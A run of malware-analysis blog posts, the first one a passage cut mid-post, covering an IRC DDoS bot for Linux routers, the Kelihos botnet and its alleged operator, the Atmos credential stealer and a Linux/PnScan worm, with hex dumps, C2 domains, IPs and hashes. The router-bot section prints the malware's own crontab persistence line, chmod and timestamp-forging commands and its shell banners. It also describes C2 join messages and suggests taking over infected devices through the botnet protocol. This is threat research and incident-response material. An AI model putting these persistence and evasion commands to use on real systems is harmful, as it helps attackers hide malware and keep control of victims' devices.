0x00c01060  a8f3 0508 0000 0000 0000 0000 0600 0000  ................
0x00c01070  0010 0000 2efa 01da 0a00 0000 7811 0d0c  ............x...
0x00c01080  0000 0000 139a 0100 139a 0100 9400 0000  ................
0x00c01090  5400 0000 0e00 0000 1803 003f 91d0 6b8f  T..........?..k.
0x00c010a0  492f fa6a e407 9a89 5c84                 I/.j....\.
>[0x00c086d0]> x@"0x0805f3a8"
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x0805f3a8  6507 7c7e 31e5 29e8 ad2e 4cd4 b883 c761  e.|~1.)...L....a
0x0805f3b8  709c 6090 b540 bb85 7ede a550 cce0 b146  p.`..@..~..P...F
0x0805f3c8  8211 fa50 5e82 d55e 2227 b678 e121 fa00  ...P^..^"'.x.!..
0x0805f3d8  f595 a5e7 5654 b02b 6c2e 4daa de34 103f  ....VT.+l.M..4.?
0x0805f3e8  d119 ab5b 7c26 20e7 dd69 9df4 822b a118  ...[|& ..i...+..
0x0805f3f8  7277 8b6c fd4d ac58 49ea f06d 6611 e239  rw.l.M.XI..mf..9

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
'upx: pty: NotPackedException: not packed by UPX'

(↑pic: PoC of the malware failed to seek unpacking indicator)

In the other words: this binary can only be unpacked by itself or we somehow put back the original header in place to make it unpackable by UPX again. But don't worry. Many RE ways to be done dealing with this situation. One of (my favorite) way to handle this "custom" packed UPX is using ala CTF method that I announced a while ago in-->here, or using "other" method that I will not openly disclose (OPSEC), as I used in this case to safe my time.

The third slap: Malware & its packer's cracked!

I depacked the binary with my own method and the information needed from the unpacked ELF can be seen in the virus total comment I wrote in-->here.
And the fun has began (picture?↓)

The forth slap: Indicator of the infection

1. Malware installation details

During the installation the malware will perform shell execution via execve("/bin/sh") to the various linux command line to perform the installation, as per detail picture below:

As per seen in the details, linux version of debugger and packet capture software were disabled, the DNS resolver will be set to "8.8.8.8", then the services (mostly are router specific services) will be stopped or removed its runtime files, the firewall rules will be changed for telnet (tcp/23), httpproxy (tcp/8080) and http (tcp/80) services to be opened, malware will be self-executed under owner only rwx permission (chmod 700), user crontab will be used for autostart, and several info harvesting.

Accordingly, below similar runtime libraries (ref:debian GNU), must be needed for overall execution:

/etc/ld.so.cache  // the elf runtime
/lib/i386-linux-gnu/i686/cmov/libc.so.6  // the elf runtime
/lib/i386-linux-gnu/libpam.so.0    // some user related calls made
/lib/i386-linux-gnu/libselinux.so.1  // selinux
/lib/i386-linux-gnu/i686/cmov/libdl.so.2
/lib/i386-linux-gnu/i686/cmov/libnss_compat.so.2
/lib/i386-linux-gnu/i686/cmov/libnsl.so.1     // malwre use these libs to resolve
/lib/i386-linux-gnu/i686/cmov/libnss_nis.so.2
/lib/i386-linux-gnu/i686/cmov/libnss_files.so.2
/usr/share/locale/locale.alias         // accompany the info harverst
/usr/share/locale/en_US/LC_MESSAGES/libc.mo
/usr/share/locale/en/LC_MESSAGES/libc.mo
usr/share/locale/en_US/LC_MESSAGES/psmisc.mo
/usr/share/locale/en/LC_MESSAGES/psmisc.mo", 
/usr/lib/i386-linux-gnu/gconv/gconv-modules.cache

/etc/rc.conf [READ]
/etc/resolv.conf [MODIFIED!]
/etc/nsswitch.conf [READ]

/bin/uname         
/bin/nvram         
/usr/sbin/nvram    
/etc/ISP_name      
/etc/Model_name

/tmp/udevd0.pid
/var/lock/.x001804289383
/var/spool/cron/crontabs/$USER [modification of crontab -e]

* * * * * /PATH/MALWAREFILE > /dev/null 2>&1 &

echo [+] Welcome to x00's cback shell %s
echo [+] you logged in at `date`
echo [+] `uname -a || cat /proc/version`
echo [+] you got root rights, enjoy!.
echo [+] Running on %s/bin/crontab./usr/bin/crontab.chmod 700 %s > /dev/null 2>&1 \
&.touch -acmr /bin/ls %s(crontab -l | grep -v "%s" | grep -v "no cron" | \
    grep-v "lesshts/run.sh"> %s/.x00%u) > /dev/null 2>&1.echo "* * * * * %s > \
    /dev/null 2>&1 &">> %s/.x00%u.crontab %s/.x00%u.rm -rf %s/.x00%u.
echo [+] no cronnie.
echo [+] forget it. .
echo [+] you are root tho. ./etc/rc.d/rc.local./etc/rc.conf./."%s%s"a.irq.#x86.777

2. The IRC botnet

The malware will connect infected nodes to the hostname xxx.pokemon.inc:8080.
When I reversed this sample it was resolved into below DNS data:

;; QUESTION SECTION:
;xxx.pokemoninc.com.         IN A

;; ANSWER SECTION:
xxx.pokemoninc.com.     845  IN CNAME   bnet.pokemoninc.com.
bnet.pokemoninc.com.    845  IN A       88.198.71.83
bnet.pokemoninc.com.    845  IN A       83.143.80.227
bnet.pokemoninc.com.    845  IN A       211.103.199.98
bnet.pokemoninc.com.    845  IN A       49.231.211.193
bnet.pokemoninc.com.    845  IN A       61.156.43.106
bnet.pokemoninc.com.    845  IN A       203.141.196.145
bnet.pokemoninc.com.    845  IN A       202.103.224.85

;; AUTHORITY SECTION:
pokemoninc.com.  2644   IN   NS dns1.name-services.com.
pokemoninc.com.  2644   IN   NS dns2.name-services.com.
pokemoninc.com.  2644   IN   NS dns3.name-services.com.
pokemoninc.com.  2644   IN   NS dns5.name-services.com.
pokemoninc.com.  2644   IN   NS dns4.name-services.com.

Infected node(s) will enter the IRC server after receiving the PONG:

......PONG #[Arch] :[RangeIP]|[HOSTNAME] -xi.
.x00 localhost localhost :[DATE, i.e.:feb012016]...

JOIN :#[Arch] 
BotID: [Arch]:|x|1|[ID]|[hostname]|[youtubeURL][date]
NICK [BotID] USER x00 localhost localhost :%s <--- $DATE

After joined the IRC !MALICIOUS! bot commands can be executed. I dump the text list of the commands as below:
Text mode is in-->here.

3. About the attacks..

All attack commands can be seen in the above mentioned IRC command, and all command details mostly are shared in the source code of IRC botnet ddoser that I shared a while ago. link-->here. But there are two commands that I often seen recently in DDoS, but I haven't discuss in my previous posts for this type of threat. which are "SUDP" and "UNKNOWN", we disassembly and decode it into its original code as following jinxed snippet:

"UNKNOWN" was in the source code we shared before, a self-explanatory, so I will not discuss it here.

4. The big variation of "User Agent" combination used for L7 attacks

This malware is using combination of many user agents during performing its L7 DoS. The combination is varied, in this particular case the combination is as per snipped in the below picture. Obviously to filter these headers are not recommendable idea to block such attack:

It's not over..The fifth slap: What's this, really? It's ELF/STD bot.

This is the STD bot, with the heavy modified code of kaiten. People in the "industry" and some stupid skiddos are thinking that STD bot was derived from kaiten/ktx or tsunami, but actually it is not. The original STD bot was stand alone code. STD name itself came from the coder name called "stackd" (root@stackd.net), and he was the one who coded first 48 lines of STD bot.

The code was later on inspired by other IRC base codes like kaiten/tsunami and other modification in the "copypasta" land to be what we are still seeing until now. Well, who cares for this history anyway, but I prefer to keep on track on which threat coming from which roots for my analysis purpose, I suggest you should start to do the same if you are not.

Following, in this particular variant, the coder has overhauled the source code of the latest STD IRC Bot and combining with his own signature for the black market distribution purpose. Also the usage of the UPX trick was added with the hope to prevent sysadmins, scanners or analysts to know what this threat really is during static analysis. yet from now they're failing again :)

Because unfortunately for them...

We STILL have a much better KungFu than yours kiddo :)

The sixth slap: Network threat indicator

IP addresses:

130.211.127.186
88.198.71.83
83.143.80.227
211.103.199.98
49.231.211.193
61.156.43.106
203.141.196.145
202.103.224.85 

GeoIP information (for cleaning up purpose):

IP Address, City, Region, Country Name
130.211.127.186, Mountain View, CA, United States
88.198.71.83, , , Germany
83.143.80.227, , , Norway
211.103.199.98, Beijing, 22, China
49.231.211.193, , , Thailand
61.156.43.106, Jinan, 25, China
203.141.196.145, , , Japan
202.103.224.85, Nanning, 16, China

IP address | Reversed | ASN|Prefix|ASN|CN|ISP
130.211.127.186 | 186.127.211.130.bc.googleusercontent.com. |15169 | 130.211.0.0/16 | GOOGLE | US | google.com | Google Inc.
88.198.71.83 | static.88-198-71-83.clients.your-server.de. |24940 | 88.198.0.0/16 | HETZNER | DE | hetzner.de | Hetzner Online AG
83.143.80.227 | kdb.servetheworld.net. |34989 | 83.143.80.0/21 | SERVETHEWORLD | NO | servetheworld.net | ServeTheWorld AS
211.103.199.98 |  |4808 | 211.103.192.0/18 | CHINA169 | CN | gintong.com | Beijing Huaxia Unipower Network Co. Ltd
49.231.211.193 |  |45458 | 49.231.211.0/24 | SBN-AWN-AS-02 | TH | sbn.co.th | 408/60 PHP Bld. 15th Fl Phaholyothin Rd Samsen Nai Phayathai
61.156.43.106 |  |4837 | 61.156.0.0/16 | CHINA169 | CN | chinaunicom.com | China Unicom Shandong Province Network
203.141.196.145 | html.city.shiojiri.lg.jp. / html.city.shiojiri.nagano.jp. |17518 | 203.141.192.0/19 | SHIOJIRI | JP | city.shiojiri.nagano.jp | Shiojiri City
202.103.224.85 |  |4134 | 202.103.192.0/18 | CHINANET | CN | chinatelecom.com.cn | ChinaNet Guangxi Province Network

Port numbers used:

tcp/22 (remote cnc)
tcp/80 (DoS attack)
tcp/8080 (IRC connection CNC)
tcp/23 (telnet scanning)

Domains & hostname: (do not false positive these, it's for search engine to seek for poor victims!!)

pokemoninc.com (domain)
bnet.pokemoninc.com (cname)
xxx.pokemoninc.com (hostname for round robin access)
186.127.211.130.bc.googleusercontent.com (one of payload infection server)

Hashes:

MD5 (pty) = fa856be9e8018c3a7d4d2351398192d8
MD5 (tty0) = 7980ffb3ad788b73397ce84b1aadf99b
MD5 (tty1) = d47a5da273175a5971638995146e8056
MD5 (tty2) = 2c1b9924092130f5c241afcedfb1b198
MD5 (tty3) = f6fc2dc7e6fa584186a3ed8bc96932ca
MD5 (tty4) = b629686b475eeec7c47daa72ec5dffc0
MD5 (tty5) = c97f99cdafcef0ac7b484e79ca7ed503 

The last (7th) slap: Protection from infection&mitigation

Several router models and Wifi/WiMax service was reported infected by this malware. For the infection prevention "HowTo" please follow these steps:

1. Change the default credential of admin and roots. Change the passwords.
2. Disable the telnet service or secure them with firewall by default.
3. Secure any ssh access by disable root, use latest protocol/version, 
   limit access and if possible switch the ports.
4. Deploy firewall rules to avoid port scanning by default.
5. Monitor infection by checking in/outbound traffic to xxx.pokemon.inc:8080/80/23
6. Push updates to make above points happens

1. Report the incident to your CERT/CSIRT, is a must.
2. Contact the owner of the device by email/phone/letter to reset the device.
3. Test & apply takeover scheme to get the devices back via botnet protocol.
4. Contact me in DM in @malwaremustdie for advisory, it is FREE
*) PS: Do not offer me or my team money/donation, send us malware sample instead.

Epilogue and conclusion

Sample link is in the article above.
IOC details was uploaded to OTX (you know where).
Samples are shared (see hashes), uploaded to kernelmode-->here.
Q and A can be done in reddit in-->here, or DM me in-->twitter for infection handling advisory.
Will add and improve this post after resting for a while.
Will not expose method used for dissecting that "custom" UPX outside the MMD rings.

For the "unbeliever" (smile), here's snips to screenshot to show how this malware is actually "a lame copypasta IRC bot" which also my screenshot PoC to this analysis reported above during reversing session in my environment:

"You won't get anything from this post. skiddos, go to school, study hard, like any of decent people do. There is no such shortcut for knowledge."
*) Note: this section is to be deleted, participate in my ELF workshop and I will share a lot of goodies to you, and please support MalwareMustDie and radare2 project! :-))

Stay safe, friends. Hope this info helps you.
Thank's to ben-kow for the infection information, radare.org for the cool stuff! And all friends in MMD group who really supporting me get through the tough time, nice to be able to write again.
To all friends in Kumamoto prefecture in Japan, prayers for you, this post is dedicated to you and fellow sysadmins who work hard battling, fixing and mitigating this type of threat.

#MalwareMustDie!
Written and analyzed by @unixfreaxjp [link], April 14th-15th.2016

☩Non nobis Domine, non nobis, sed nomine Tuo da Gloriam (Psalm 113:9)

Tag: Kelihos, Khelios, P2P, FastFlux, Botnet, CNC, C2, Clickfraud, Traffic Redirection, Spambot, DNS Poison, Botnet as Service, Affiliate, Severa, Peter Severa, Petrushakov, Saever

Warning: It's a "hardcore" disclosure, read only if you need & ready to know..

Background

The "suspect" a.k.a. bad actor in the below slide is responsible for malware distribution via RedKit exploit kit [-1-] [-2-] [-3-], Cookie Bomb [-1-] [-2-] [-3-] [-4-], Malicious Cushion Redirectors [-1-] [-2-], and those all linked and lead to his botnet the Kelihos (aka Khelios aka Waledac) a fast flux botnet [-1-] [-2-] [-3-]. The actor is known with alias name Petr Severa [-1-] [-2-].

When I went to Botconf in December 2013, I was spending much time in my secluded hotel room (I stayed separately than others) more than in conference, so I can focus to this important disclosure that our team was counting on me to reveal it well during the Short Talk chance that was generously and thankfully given for this matter. These are the materials that I looked over and over like hundred times, with thinking of which detail that is needed to be shared in conference, which one that has to be shared to law enforcement only, and what information that is needed to be shared to friend-researchers.

After discussion with our team mate the night before, and several discussions with the important persons, fyi: at that time the Kelihos CNC in Nederlands were successfully taken down my our friend from McAfee, Mr. Christiaan Beek, and our Germany team lead by wirehack7 together with LKA was in literally on "raid" action for the CNC machines of Kelihos CNC from its data center.. It was the crazy busy and hard time for a jet-lagged-guy from Japan who got very tired from travel via Paris airport for 7hrs (stuck in AirPort for long long lines), and slept in front door of hotel all night since the door was locked when I arrived at 11pm.. I selected the slides that was shared in-->[link] that later I rehearsed with Mr. Dhia Mahjoub of OpenDNS, the pair presenter.

Soon it will be three full years since the first time I decompiled our first Kelihos botnet Win32 binary, and 2.5 years since BotConf 2013. With all due respect to great good hard working people in many security incident response entities, internet administration and law enforcement teams, frankly speaking there's nothing has been changed much in these three years, the actor is still out there receiving his monthly affiliated "fee" and living happily with still practicing his unique modus operandi to spread the badness in the internet.

Figure1: Couple of Kelihos CNC dedicated machines' traffic in live monitoring in January 2016 by MalwareMustDie

We still see Kelihos is distributed along with ransomware, and we still see Cookie Bomb codes is used to spread malware & also ransomware too via compromised weak PHP panel sites. The only difference made is we have growing numbers of takedown for this threat, like 22 to 24 CNC service shutdown in Kelihos botnet, and about 8 dedicated machine supported those IPs were taken down, until now.

Slide

Among the data I starred in the hotel room, these are the overall today's shareable data collected from our operation against this botnet (excluded Dhia's OpenDNS data which was merged right before the event started), contains very important PoC or evidence as as malicious verdict to a known internet crime bandit from St. Petersburg, the "Severa". I recollect them all in this one slide with adding all re-compiled and renewed comments with more supporting facts.

Our team was patiently waiting for the justification of the crime done by known & reported identification, we reported and being very supportive to the law and order, as per supposed to be done, but the badness from the same source are still there and still active, so, as one of our member had just said "I think that full disclosure after 2.5 years is pretty reasonable.." (poke @Kira), we think the security community need to know what happened recently in Kelihos, what our team had actually achieved about it, and when/how/why/where we know the real ID of the Kelihos botherder who is actually the center of multiple cyber threat in the internet.

Here is the slide:

I thank fellow MMD team mates & friends, who are proven solid in team work I've ever worked with in fighting any botnet on earth..I am very happy to work with them all, and I won't take their good team effort for granted. The credits are given to the hard work they and other supporters did, this case is a good example as team work management between good folks to fight a bad cyber crime scene.

#MalwareMustDie

The background

This post is about recent intelligence and sharing information of the currently emerged credential stealer and spying botnet named "Atmos", for the purpose of threat recognizing, incident response and may help reverse engineering.

For the the reference, first publicity and thorough technical analysis of the threat was posted by Xylit0l [link] in Xylibox blog [link]. His post contains good technical details with screenshots of the botnet functions. I strongly recommend you to take a look at his post first before reading this, or before you "google" other posts about Atmos botnet, to have you a good correct basic background & know-how on this threat beforehand, specially to the sysadmins and incident response team.

To add a few words, as a known threat expert in this field, Xylit0l is having strong dedication to follow the growth of the cyber criminal used stealer tools from Zeus, SpyEye, Carberp to Citadel with its variants, then KINS and ZeusVM to now.."Atmos". He knows exactly which version and what is needed to decode each encrypted configuration per version. You can follow his research on those mentioned threats in Xylibox blog post.

Personally I feel his man deserves acknowledgement and respect of what he contributes, openly and freely, to help all folks in security community securing our cyber space from real crime acts. He doesn't know I am writing this, since if he knows he will yell to me not to.

Okay, so why I posted this for?

Our team bumped into this threat in the field, as along with investigation taken we found it's emerged too rapidly by now on some aggressive campaigns. Some recent facts of Atmos botnet was found in real incidents may need to bring up to the surface some additional facts to support IR handle on the issues. The importance raised since this threat is successfully bypassing some client security perimeters, literally. You will see snips of PoC campaign and infection details we handled in the following sections.

What is this? And where Atmos name came from?

If I may to make a short definition: Atmos is an evolution of credential stealer toolkit, build with the complete facility meant for a crimeboss herder to operate. Period.

By function or origin

Atmos is having a web panel with a strong nuance of Citadel colors, a server to handle the remote requests for its infection functionality, and a binary builder facility.

Atmos can be used as hacktool, or as RAT, but it is built based from form credential grabber leaked codes, as added with screenshot/video capture surveillance center, or, Atmos can be used as deployment center for further distribution of malware payloads too.

PoC of Atmos herder executed in infected clients to download other malware:

Proof that the remote command was executed in a "report":

In the above two screenshots a Pony malware was being pushed to Atmos bot client.

Originated from multiple leak codes (dragged from Zeus/Carberp/Citadel/KINS etc), the author managed to combine and wrap all of the bad functions from previous "brands" into a new package and new name, with a bit additional handy crime tools as "add-values" such as: crypter interface, scan4you interface, jabber interface, and even an interface for balance management in some group management, and so on (again, read Xylibox post for the details of these functions).

As per Zeus or Citadel banking credential stealer botnet, Atmos is sold basically on license basis scheme to its trusted distributors, yet apparently the distributors also fetch re-sellers on their campaign. We will go to the scheme of selling this threat in the end of the post.

The name of Atmos, how to ID the threat

The name of "Atmos" came from the author of this package. It is visually recognizable if you meet this threat based on identification as per shown in each screenshots below:

In the the server console:

In the builder:

In the WebUI interface:

Or, in the infection intercept module original names:

This name wasn't known in the AntiVirus ("AV" in short) industry when it was around 1 or 2 months after initially spotted..by Xylit0l. Many AV marked the detected Atmos client malware as Trojan.Agent.something or even as Citadel or Zeus variants, etc. I recalled it well that Xylit0l was making some contact effort to advise the correct names to the AV vendors during late 2015, that was the first time appears. He also did the same on pushing the correct names to the industry during firstly spotted KINS in the wild.

How Atmos bot client malware binary looks like in PEStudio (winitor.com)

77fe3acda611f7706f5adca39cce8131ba1f8c531a33a4040931132ab122bbff

The campaign & new version release plan in June 2016

Atmos distributors are recently on steroid pushing their campaign in several monitored blackhat forums since the early 2016. Some of the latest detail is about the new version that is released in this month, June 2016. Surprisingly, there is no "fix price" on these offers by the distributors/sellers, as per seen in the various prices offered. Okay, to cut the crap, I am sharing some taken screenshots of the campaign below:

This is complete list of feature of Atmos in a page:

Other campaigns mushroomed too, recent ones:

The "spoiler" of new features for Atmos-new-release version in June 2016

Several facts of Atmos that we all need to know

This is the boring part unless you love to crack encryption of credential grabber series. Some facts posted here might help you in figuring its crypted data.

Russian language comments:

"Online" encryption functions:

Where the goodies are:

The "config" download traffic is something like this:

About this configuration data, this is spotted in the campaign aiming USA, we reported all data accordingly, we found that majority Desktop and Servers accounts of US network nodes was hacked by actors in Turkey, and the name of this config is one evidence of the targeted effort.

Atmos interception modules

In an infection process, Atmos CNC serves the module to intercept spying traffics from the victims to then being installed in the compromised Windows system. Like these three modules:

PoC of the traffic during downloading, noted the module and file type used:

And no AV can detect these modules yet, even-though some AV made research publicity about Atmos botnet, the hashes are:

74e7744a8660940da4707c89810429780d23f9ea6650be3d270264743835f39a video module
40160debd0a3b6a835e003ecf49c712c1ecd356d1037bcd46c8930ca206f6867 RAT/VNC module
58b44c86e77461c4df3fc44c98890e30675d6ece3df07a69c30590bd7953e7d9 Firefox cookie module

In other case too:

And in a fresh NEW panel found a live "competition" on bypassing antivirus by Atmos bot client..

Explanation on low detection for the Atmos modules:

The modules are in the Atmos encrypted form (please read Xylit0l's blog for encryption detail). The coder made it this way to make it difficult to be detected by AV's signature. Decryption will be done in the Atmos client's workspace, so theoretically it is up to the Windows OS security setting (depends on Windows OS version I guess) for allowing these modules to be installed or not. In these mentioned cases, the modules were successfully installed on Windows7.

If you take a look to the Atmos post initially published in Xylibox blog by Xylit0l, it was mentioned a good tool released by friends in JP-CERT/CC, that can be used to decode these modules before they reached the Atmos client decryption space, that may raise some chance to be detected, or blocked.

PoC of Atmos botnet as a cybercrime tool with RAT function

Following the last line of the previous section, this PoC is showing so many windows PC and servers with the recorded video session from the CNC server. The detail of information in this PoC video is in law enforcement accordingly.

The movie is showing to you how evolution of crime tool is becoming more sophisticated today, not to only infect the victims, but spying them too by logging victims activity in a video recording sessions. Again, almost all of victims are installed with AntiVirus products, yet bypassed well by Atmos botnet to make this capture module installation.

Note: Some sensitive information was cropped.

After released the above video, some says the correlation between the video and the screenshots of the AV bypassed looks unclear, true, I took them from different browsers since I had no plan to expose that far before. But well, in order to assure you there is nothing fake stuff on facts of Atmos bot client & video intercept module is fully undetected by AntiViruses, I just recorded the PoC #2 that will show you EXACTLY one panel with the bot client infecting victims, connected to panels, saving captured movie of victim's PC and you can see yourself with WHICH antiviruses the victims are installed with. See below & get some popcorn, friends :)

More accurate facts of Atmos botnet sales for law enforcer

I read somewhere a bit incorrect statement about Atmos distribution which says: "..there is at least one group of cyber criminals who is using Atmos in its attacks" ..yet after we checked ourself in "darkweb", the statement seems to be "outdated", the valid/correct one is as below:

"Atmos botnets are rented on VPS by its few trusted distributor(s) and mostly player-crooks are just buying access to that VPS, so it's not limited to one group but to anyone who have enough money and "trust" can start using it" - I made confirmation about this too to Xylit0l.
The statement is backed up by at least we collect more than ten blackhats are now on deploying (or started to deploy) Atmos botnet as the effect of the campaign shown in the above screenshots.
There is also recent incident shows that a hacked site was used to serve Atmos botnet panel.

Several countries targeted by Atmos

There is no "specific country" targeted by Atmos. It all depends on the actors objectivity. Since most of actors are crooks, thiefs, they are practically and mainly aiming our pocket online money/card info everywhere. We saw varied infection, few the spam campaigns or some web driven methods of infection. On several Atmos CNC panels, which their information are "safe" to be shared (several panels were taken down though), they are showing country basis victims in graphical modes as per data below:

Atmos botnet is handling the encoding character very well too, i.e. double bytes encoding Chinese(Simplify/not) or Japanese:

So this botnet toolkit is designed to compromise anyone, everywhere.
There is a minority usage for a specific target/purpose too, but this info is classified :)

How incident response team recognizing the country victims?

In the Atmos panel, just like Citadel, there is no sorting function for gathering data of bot ID per listed countries, they have only the summary, so the crooks should click ID per bot one by one too I guess for checking details. But it is important to warn victims who got infected by this botnet, and we are doing that too. So, in order to get list of evidence on Atmos infection during "securing"their panel, don't waste your time, and go to the botlist and grab the textual data listed in that panel. Just grab it all page per page and safe into a select-able text file. To then you can aim any desired country victims as per real cases we handled below. This way you won't spend too much time in that evil environment.


You can later on divide each IP's network by ISP for them to contact their users for the alert to their customers, or pass the list to your coordinated CERT/CSIRT.

One more thing that IR team should be aware is, the GeoIP indicator used by Atmos just sucks. Atmos used own outdated database to locate infected IP to be showned in the botlist like this one (see the marked one):

It is said the location is in Japan, but actually is in India. So you must re-check the list of IP first before you make any action.

Atmos setup tutorial & full package video was snagged :P)

This video is the latest version, it was said, which is currently planned to be pushed in the market this month, yet apparently it is the version 1.01 (for sure: it is the current ITW version actually), and an idiotic distributor was sharing its video tutorial :)

So, would it be the best of interest for security community to see how the setup process of this botnet goes, as per crooks do it? I share this for everyone involved (and specially law enforcement too) to take a notification on many facts can be taken from recent Atmos botnet. See how it is installed, builder's usage, and panel configuration, etc. This video should be "genuine" artifact made by crime actor himself, it would be better in presenting than either me or Xylit0l made it. PLEASE use the information exposed for taking down this actor and the further Atmos botnet. DO NOT use this information for the bad purpose! (the most important part of this setup video was dropped for security purpose)

In the below video is another crook was trying to promote Atmos in late May 2016, he demonstrated the full Atmos package list in his PC that I think will give all of us better idea about how this threat distribute. These two videos are coming from two distributors of Atmos botnet:

Atmos "Tango Down"

The main reason of whitehat hackers, IR professionals and malware researchers gather together in MalwareMustDie is to takedown the malware services. This goes the same to the Atmos botnet, after we peeled and milked them dry, with the solid coordination of good folks and friends in incident response chains, WE ALL took them down together. Like this one, for good folks to enjoy and cyber crooks to cry :)

Many thanks to friends who involved to this action.

Epilogue

We hope the information shared here will help to battle the threat better.

A small announcement from me:

I may update or add or delete information, as usual. You know where to reach us.
Bravo Xylit0l for the good work & thanks for the previous share to all of us!

Don't be that serious :-)

#MalwareMustDie! Analyzed & reported by @unixfreaxjp, reference: @Xylit0l
This report along with overall blog posts are bound to our legal disclaimer-->[link]

Background

Just checked around internet and found an interesting ELF worm distribution that may help raising awareness for fellow sysadmins. As per shown in title, it's a known ELF malware threat, could be a latest variant of "Linux/PnScan", found in platform x86-32 that it seems run around the web within infected nodes before it came to my our hand. This worm is more aiming embed platform and I am a bit surprised to find i86 binary is hitting some Linux boxes.

This threat came to MalwareMustDie ELF team task before and I posted analysis in Mon Sep 28, 2015 on kernelmode [link] along with its threat details, I thought the threat is becoming inactive now and it looks like I'm wrong, as the malware works still in infection now as worm functions and is hardcoded to aim 183.83.0.0 / 16 segment (located in network area of Telangana and Kashmir region of India), where it was just spotted. Since I never write about this threat in this blog (except in the kernelmode), it will be good to raise awareness to an active working and alive worm by this post.

Threat Indicators

For some reason we can't inform infection source, but the source is in the targeted network mentioned above. It is hard to seek the patient zero of this infection since the worm seems took a while to circle around the targeted network.

The file is having below indicator:

Filename: 'stdin'(.pnscan.x86-32.mmd)
Type: 'ELF 32-bit LSB executable, Intel 80386' (GNU/Linux) statically linked, stripped
Packer: 'UPX (header bit  tweak) packed,'
Spotted: 'Tue Aug 23 12:27:21 UTC 2016'
md5:  '6fb6f95546d5bdf4db11655249ee5288'
sha1: '2d3e2ce680de6c13ab3236429efd4bca3bfaa79d'
According to VirusTotal it's firstly spotted months ago:
'First submission 2016-01-27 05:26:45 UTC'

Static check will find the packed and tweaked UPX was used.

ELF Header:          '↓typical packed one'
  Magic:   7f 45 4c 46 01 01 01 03 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - GNU
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
'Entry point address:               0xcfce38'
'Start of program headers:          52 (bytes into file)'
  Start of section headers:          0 (bytes into file)
  Flags:                             0x0
' Size of this header:               52 (bytes)'
' Size of program headers:           32 (bytes)'
' Number of program headers:         2'
' Size of section headers:           40 (bytes)'

  Type           Offset    VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD           0x000000 '0x00c01000' 0x00c01000 0xfc661 0xfc661 R E 0x1000
  LOAD           0x000d68 '0x08290d68' 0x08290d68 0x00000 0x00000 RW  0x1000

UPX packer traces in the original binary of this worm:

This worm is using customized UPX form of header to avoid RE / decoding↓

0x00000000  7f45 4c46 0101 0103 0000 0000 0000 0000  .ELF............
0x00000010  0200 0300 0100 0000 38ce cf00 3400 0000  ........8...4...
0x00000020  0000 0000 0000 0000 3400 2000 0200 2800  ........4. ...(.
0x00000030  0000 0000 0100 0000 0000 0000 0010 c000  ................
0x00000040  0010 c000 61c6 0f00 61c6 0f00 0500 0000  ....a...a.......
0x00000050  0010 0000 0100 0000'680d 0000 680d 2908' ........h...h.).
0x00000060  680d 2908 0000 0000 0000 0000 0600 0000  h.).............
0x00000070  0010 0000 22c0 e4b8 5550 5821 3408 0d0c  ...."...UPX!4...
0x00000080  0000 0000 783f 2400 783f 2400 9400 0000  ....x?$.x?$.....
0x00000090  5d00 0000 0800 0000 771f a4f9 7f45 4c46  ].......w....ELF
0x000000a0  0100 0200 0300 1b68 8104 fbaf bddf 0834  .......h.......4
0x000000b0  0ef8 3c24 2f16 2032 2800 1000 0f00 5b5c  ..<$/. 2(.....[\
0x000000c0  e59d 1d80 4607 c807 2200 0527 db76 7fcf  ....F..."..'.v..

There are some ways can be used to put back this ELF to its origin form, I will add howto info in here (public) after this case's handle is done.

We have several method to crack some specific made UPX base custom packed ELF, one of them that I used to dissect the ELF of the "xxx.pokemon(.)inc" a one IRC DDoS botnet ELF malware I posted in here-->[link]. The other ways to debunk these packed ELF are by different methods of cracking, which are just being shared publicly via radare.org [link] community as per below:

One of the method(s) described in tutorials above is sufficient enough to crack this ELF successfully.

A protip to sysadmins and RCE beginners (good folks only!) in dealing with difficult ELF packer: Just remember, if you stuck on something, it is only a sign for you to start to improve yourself, just keep on trying. Remember: crooks never be smarter than you, have this faith, and in time you'll figure the problem.

Video IR Guideline details of functionality of Linux/PnScan worm

Below is the detail of the forced unpacked binary of the Linux/PnScan worm version, This video was actually I made as guide to CERT and IR folks to mitigate the threat. I am using my beloved shell RE tool "radare" for this. There are heavy editing, some cuts, and parts skipped w/also some unexplanatory parts for the sake of on going case security reason. But all indicators are viewable in this video, worth to watch if you are in ISP's IR or CERT field. There are some details are not included in the video too by other security reason.

Note on video watching: Youtube may sometimes have a weird problem with initial loading video I uploaded recently, if it can not load suddenly in the middle of playing (read: stopped/stuck), if you experienced this "phenomenon" just change the resolution to bigger or smaller arte, and the video will be reloaded and run well... beats me how this problem can happen... but please don't blame the video itself. Thank you.

A bit about radare.org's r2

For the static analysis of ELF malware to specially the sysadmins (and reversing enthusiasts), I'd say radare2 (r2) is the best tool I've ever use, following by gdb, objdump and its binutils or ELF utils etc for the purpose. I've been using it for long [link] and it never fails me for works I do in UNIX shell. MalwareMustDie team members are officially using it daily for ELF analysis.

Shortly, r2 is not only a tool made by hackers to nail hackers & its bad coded bins by RCE, but it helps your IR work on static analysis for bad bins in any major NIX native architecture shell environment inside of infected systems. Not only as a static analysis tool, but r2 as forensics tool allows you to extract important IR information instantly and on the fly with its rich command features... it is flexible and fast! The analysis I made and I posted in this blog (and others) are mainly using r2.

You can follow radare2 good folks works in here [here] and here [link].

Let's continue with the analysis..

This ELF is having below dependencies..

libc-2.13.so
ld-2.13.so

No screenshot, no PoC..here we go:

A summary of how it works

To fellow reversers, there's no specific new function spotted in these sample ELF worms I investigated, except the practical usage is different, that the x86-32 platform are specifically aimed (and this is bad) and a part of India network is now as the target. It is weird a bit on why toolchains is used for i686 compilation, but that also shows x86-32 is not the only targeted aim for this infection too. It is supported the historical data of the infection spotted from September 2015 the versions of mips, mipsel and arm were mostly the main spotted ones. To make it simple in words: This worm is not only targeting Linux with embedded for IoT device and routers, but for servers and appliances too now with, still, aiming its default password login.

Below is a summary on how it works:

1. It forked 4 times (with its main process = 5)

2. Created files with the below functionality in the work (executed) directory:

permission size date         filename         function
----------------------------------------------------------------
-rw-r--r--  387 Aug 23 12:06 list2            <-- connected hosts
-rw-r--r--    4 Aug 23 12:02 MalwareFile.pid  <-- pids
